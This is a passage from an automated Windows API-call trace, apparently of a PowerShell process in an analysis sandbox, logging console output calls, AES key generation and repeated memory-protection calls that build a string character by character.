lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.126] GetConsoleOutputCP () returned 0x1b5 [0244.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.126] GetConsoleOutputCP () returned 0x1b5 [0244.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.126] GetConsoleOutputCP () returned 0x1b5 [0244.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.126] GetConsoleOutputCP () returned 0x1b5 [0244.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.127] GetConsoleOutputCP () returned 0x1b5 [0244.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.127] GetConsoleOutputCP () returned 0x1b5 [0244.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.127] GetConsoleOutputCP () returned 0x1b5 [0244.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.127] GetConsoleOutputCP () returned 0x1b5 [0244.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.128] GetConsoleOutputCP () returned 0x1b5 [0244.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.128] GetConsoleOutputCP () returned 0x1b5 [0244.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.128] GetConsoleOutputCP () returned 0x1b5 [0244.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.128] GetConsoleOutputCP () returned 0x1b5 [0244.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.129] GetConsoleOutputCP () returned 0x1b5 [0244.129] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.129] GetConsoleOutputCP () returned 0x1b5 [0244.129] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.129] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0244.130] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.130] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2551e40*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2551e40*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0244.130] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.131] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0244.131] EtwEventActivityIdControl () returned 0x0 [0244.131] EtwEventActivityIdControl () returned 0x0 [0244.132] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.132] EtwEventActivityIdControl () returned 0x0 [0244.132] EtwEventActivityIdControl () returned 0x0 [0244.132] EtwEventActivityIdControl () returned 0x0 [0244.134] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.134] EtwEventActivityIdControl () returned 0x0 [0244.134] EtwEventActivityIdControl () returned 0x0 [0244.135] EtwEventActivityIdControl () returned 0x0 [0244.136] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d298) returned 1 [0244.138] CryptGenKey (in: hProv=0x5c4d298, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99720) returned 1 [0244.138] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.138] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.138] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2559818, pdwDataLen=0x5a2e8c4 | out: pbData=0x2559818*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.138] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.139] EtwEventActivityIdControl () returned 0x0 [0244.139] EtwEventActivityIdControl () returned 0x0 [0244.139] EtwEventActivityIdControl () returned 0x0 [0244.140] SysStringLen (param_1="") returned 0x8 [0244.140] SysStringLen (param_1="2") returned 0x8 [0244.140] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.140] SysStringLen (param_1="へ䆲쀢搡仧Ư拀") returned 0x8 [0244.140] SysStringLen (param_1="へ䆲쀢搡仧Ư拀") returned 0x8 [0244.140] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.140] SysStringLen (param_1="25") returned 0x8 [0244.140] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.140] SysStringLen (param_1="厮뉌䊦㰳덨ﾇ㪖覾") returned 0x8 [0244.140] SysStringLen (param_1="厮뉌䊦㰳덨ﾇ㪖覾") returned 0x8 [0244.140] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.140] SysStringLen (param_1="259") returned 0x8 [0244.140] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.141] SysStringLen (param_1="ٱ搌揳པ葶㧁옐鳪") returned 0x8 [0244.141] SysStringLen (param_1="ٱ搌揳པ葶㧁옐鳪") returned 0x8 [0244.141] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.141] SysStringLen (param_1="259n") returned 0x8 [0244.141] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.141] SysStringLen (param_1="癒⥥Ѥ斻잧秲ꙟ㻳") returned 0x8 [0244.141] SysStringLen (param_1="癒⥥Ѥ斻잧秲ꙟ㻳") returned 0x8 [0244.141] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.141] SysStringLen (param_1="259nw") returned 0x8 [0244.141] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.141] SysStringLen (param_1="དྷ\맘ﺇ憓儭ꢒ횸∆) returned 0x8 [0244.141] SysStringLen (param_1="དྷ\맘ﺇ憓儭ꢒ횸∆) returned 0x8 [0244.141] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.142] SysStringLen (param_1="259nwm") returned 0x8 [0244.142] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.142] SysStringLen (param_1="稟嬫窯ꖚ쭩⅞") returned 0x8 [0244.142] SysStringLen (param_1="稟嬫窯ꖚ쭩⅞") returned 0x8 [0244.142] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.142] SysStringLen (param_1="259nwm3") returned 0x8 [0244.142] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.142] SysStringLen (param_1="耊䤔垱豰갩碜拀") returned 0x8 [0244.142] SysStringLen (param_1="耊䤔垱豰갩碜拀") returned 0x8 [0244.142] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.142] SysStringLen (param_1="259nwm3R") returned 0x8 [0244.142] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.143] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎") returned 0x8 [0244.143] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎") returned 0x8 [0244.143] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎") returned 0x8 [0244.144] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎") returned 0x10 [0244.144] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.144] SysStringLen (param_1="259nwm3RA↜髐ꆖ̢숵") returned 0x10 [0244.144] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.144] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎쌘䶲煍縂抁⇵탫") returned 0x10 [0244.144] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎쌘䶲煍縂抁⇵탫") returned 0x10 [0244.144] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.144] SysStringLen (param_1="259nwm3RAL髐ꆖ̢숵") returned 0x10 [0244.144] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.144] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎❠쫶ꄹꪵ枬\㷙賐⊎) returned 0x10 [0244.145] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎❠쫶ꄹꪵ枬\㷙賐⊎) returned 0x10 [0244.145] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.145] SysStringLen (param_1="259nwm3RAL4髐ꆖ̢숵") returned 0x10 [0244.145] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.145] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎㴻韾禚齵㟞ᡠ") returned 0x10 [0244.145] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎㴻韾禚齵㟞ᡠ") returned 0x10 [0244.145] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.145] SysStringLen (param_1="259nwm3RAL4D髐ꆖ̢숵") returned 0x10 [0244.145] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.146] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎짫嗴䱋⾐ꌣ톮즪ࡩ") returned 0x10 [0244.146] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎짫嗴䱋⾐ꌣ톮즪ࡩ") returned 0x10 [0244.146] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.146] SysStringLen (param_1="259nwm3RAL4Dnꆖ̢숵") returned 0x10 [0244.146] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.146] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎䥕盪張좕綀ਝ厛") returned 0x10 [0244.146] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎䥕盪張좕綀ਝ厛") returned 0x10 [0244.146] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.146] SysStringLen (param_1="259nwm3RAL4DnC̢숵") returned 0x10 [0244.146] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.146] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎⛿羨㢩ㄏ꧍黶ⴢ閿") returned 0x10 [0244.146] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎⛿羨㢩ㄏ꧍黶ⴢ閿") returned 0x10 [0244.147] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.147] SysStringLen (param_1="259nwm3RAL4DnC4숵") returned 0x10 [0244.147] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.147] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎敖躬㺂Յ幍୔瓋봘") returned 0x10 [0244.147] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎敖躬㺂Յ幍୔瓋봘") returned 0x10 [0244.147] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.147] SysStringLen (param_1="259nwm3RAL4DnC45") returned 0x10 [0244.147] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.147] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌") returned 0x10 [0244.148] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌") returned 0x10 [0244.148] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌") returned 0x10 [0244.148] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌") returned 0x18 [0244.148] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.148] SysStringLen (param_1="259nwm3RAL4DnC45k箢篳싚댲쨊ۻ褷") returned 0x18 [0244.148] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.148] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌ኣ鼣淯옑ன\맘⒝∴) returned 0x18 [0244.148] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌ኣ鼣淯옑ன\맘⒝∴) returned 0x18 [0244.148] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.149] SysStringLen (param_1="259nwm3RAL4DnC45kR篳싚댲쨊ۻ褷") returned 0x18 [0244.149] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.149] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌ﰾ\ﲺ㔚䦗壖ឪ≁) returned 0x18 [0244.149] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌ﰾ\ﲺ㔚䦗壖ឪ≁) returned 0x18 [0244.149] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.149] SysStringLen (param_1="259nwm3RAL4DnC45kRW싚댲쨊ۻ褷") returned 0x18 [0244.149] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.149] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌宯즌뵪뇹뻕痠噹௺") returned 0x18 [0244.149] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌宯즌뵪뇹뻕痠噹௺") returned 0x18 [0244.149] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.149] SysStringLen (param_1="259nwm3RAL4DnC45kRWr댲쨊ۻ褷") returned 0x18 [0244.149] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.150] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌歧워蜧Ѫ鵎ሾᲆ") returned 0x18 [0244.150] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌歧워蜧Ѫ鵎ሾᲆ") returned 0x18 [0244.150] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.150] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE쨊ۻ褷") returned 0x18 [0244.150] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.150] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌ᘚ雾決셙즓歉젡") returned 0x18 [0244.150] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌ᘚ雾決셙즓歉젡") returned 0x18 [0244.150] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.150] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1ۻ褷") returned 0x18 [0244.150] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.150] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌憰줮间ꤧ彋畺萸珒") returned 0x18 [0244.150] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌憰줮间ꤧ彋畺萸珒") returned 0x18 [0244.150] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.151] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p褷") returned 0x18 [0244.151] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.151] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌鄃⹌僿׵䄱夣") returned 0x18 [0244.151] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌鄃⹌僿׵䄱夣") returned 0x18 [0244.151] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.151] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+") returned 0x18 [0244.151] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.151] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗≑) returned 0x18 [0244.151] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗≑) returned 0x18 [0244.151] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗≑) returned 0x18 [0244.152] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗≑) returned 0x20 [0244.152] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.152] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+Fฮﳔꀞꈑ綶ꓕ鲾") returned 0x20 [0244.152] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.152] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗悤뫄埩꿂笣艱∗) returned 0x20 [0244.152] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗悤뫄埩꿂笣艱∗) returned 0x20 [0244.152] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.152] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZﳔꀞꈑ綶ꓕ鲾") returned 0x20 [0244.152] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.153] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗ё阧ꞕࠦⲼŔ⦂Դ⊋) returned 0x20 [0244.153] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗ё阧ꞕࠦⲼŔ⦂Դ⊋) returned 0x20 [0244.153] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.153] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTꀞꈑ綶ꓕ鲾") returned 0x20 [0244.153] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.153] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗鱑尖砀㠀㤀ᄀ阣륃촞⾈䬱≝) returned 0x20 [0244.153] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗鱑尖砀㠀㤀ᄀ阣륃촞⾈䬱≝) returned 0x20 [0244.153] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.153] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJꈑ綶ꓕ鲾") returned 0x20 [0244.153] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.153] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗㑑퍁ᄥூ睨싀蕭鄶∫) returned 0x20 [0244.153] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗㑑퍁ᄥூ睨싀蕭鄶∫) returned 0x20 [0244.153] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.154] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJn綶ꓕ鲾") returned 0x20 [0244.154] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.154] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗빑贄Ⳣ\뷝Ꙝ弆") returned 0x20 [0244.154] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗빑贄Ⳣ\뷝Ꙝ弆") returned 0x20 [0244.154] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.154] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxꓕ鲾") returned 0x20 [0244.154] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.154] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗呑ﾷᱩৌ穀튧ꟺ≍) returned 0x20 [0244.154] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗呑ﾷᱩৌ穀튧ꟺ≍) returned 0x20 [0244.154] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.154] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ鲾") returned 0x20 [0244.154] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.155] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗응뎷耽萼ṳ\컟槴") returned 0x20 [0244.155] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗응뎷耽萼ṳ\컟槴") returned 0x20 [0244.155] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.155] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2") returned 0x20 [0244.155] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.155] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺") returned 0x20 [0244.155] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺") returned 0x20 [0244.155] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺") returned 0x20 [0244.156] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺௚") returned 0x28 [0244.156] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.156] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f飐\뜺쏄꯻ፎ∓) returned 0x28 [0244.156] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 